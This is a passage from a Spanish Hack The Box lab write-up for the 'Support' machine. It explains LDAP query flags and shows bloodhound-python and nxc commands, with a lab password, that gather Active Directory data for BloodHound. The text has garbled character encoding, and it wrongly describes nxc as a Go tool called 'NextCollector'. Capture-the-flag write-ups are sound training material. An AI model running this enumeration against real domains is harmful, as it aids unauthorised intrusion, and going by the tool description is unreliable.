โ Base de bรบsqueda: indica el dominio completo como punto inicial, no solo la OU Users.
-w '...'
โ Contraseรฑa del usuario ldap. Se encierra entre comillas simples por los caracteres especiales.
-D 'ldap@support.htb'
โ Usuario con el que se autentica, en formato UPN (User Principal Name). Equivale a support\ldap.
"(CN=support)"
โ Filtro LDAP: busca objetos cuyo CN (Common Name) sea igual a support.
De esta forma encontramos nuevas credenciales. El siguiente paso es recolectar informaciรณn del AD con bloodhound y para esto tenemos dos opciones:
1) Con bloodhound-python
Si no conoces esta herramienta a continuaciรณn te dejo un artรญculo introductorio para que puedas comprender su uso
โโโ(rootใฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โโ# bloodhound-python -u support -p 'Ironside47pleasure40Watchful' -d support.htb -v --zip -c All -dc support.htb -ns 10.10.11.174
๐ Parรกmetros
ยฟQuรฉ hace?
Usa la herramienta
bloodhound-python
, una reimplementaciรณn de SharpHound para Linux, escrita en Python.Se conecta al dominio
support.htb
usando el usuario y contraseรฑa indicados.-dc support.htb
: especifica el FQDN del Domain Controller.-ns 10.10.11.174
: DNS que resuelve el nombre del DC.-c All
: indica que recolecte todas las categorรญas posibles, como:ACLs, Trusts, Sessions, SPN targets, Group Memberships, etc.
--zip
: empaqueta los resultados en un archivo.zip
, listo para ser cargado directamente en la GUI de BloodHound.-v
: modo verbose, imprime informaciรณn durante el proceso.
2) Con nxc
(NextCollector)
โโโ(rootใฟkali)-[/home/kali/Documents/HTB/SUPPORT]
โโ# nxc ldap 10.10.11.174 -u support -p support_pass --bloodhound -ns 10.10.11.174 -c Group,LocalAdmin,RDP,DCOM,Container,PSRemote,Session,Acl,Trusts,LoggedOn
๐ Parรกmetros
ยฟQuรฉ hace?
Utiliza
nxc
(NextCollector), una herramienta moderna escrita en Go, compatible con BloodHound.Se conecta al servidor LDAP del Domain Controller (
10.10.11.174
) usando el usuariosupport
.Usa el plugin
--bloodhound
para recolectar datos รบtiles para grรกficos de relaciones en BloodHound.Se especifica un servidor DNS/Nameserver con
-ns 10.10.11.174
.El parรกmetro
-c
selecciona quรฉ tipos de datos recolectar, como:Group
: grupos de AD.LocalAdmin
: miembros del grupo Administradores locales.RDP
,DCOM
,PSRemote
: relaciones de acceso remoto.Session
,LoggedOn
: sesiones activas.Acl
: delegaciones y permisos.Trusts
,Container
: relaciones entre objetos y dominios.
๐ Resultado:
Genera archivos JSON con los datos recolectados para importar en BloodHound.
No requiere Python ni Windows, lo que lo hace ideal para ambientes mรญnimos o contenedores.
Una vez que tenemos el archivo con toda la informaciรณn recolectada abrimos la gui de Bloodhound e iniciamos el anรกlisis con el mรณdulo
Last updated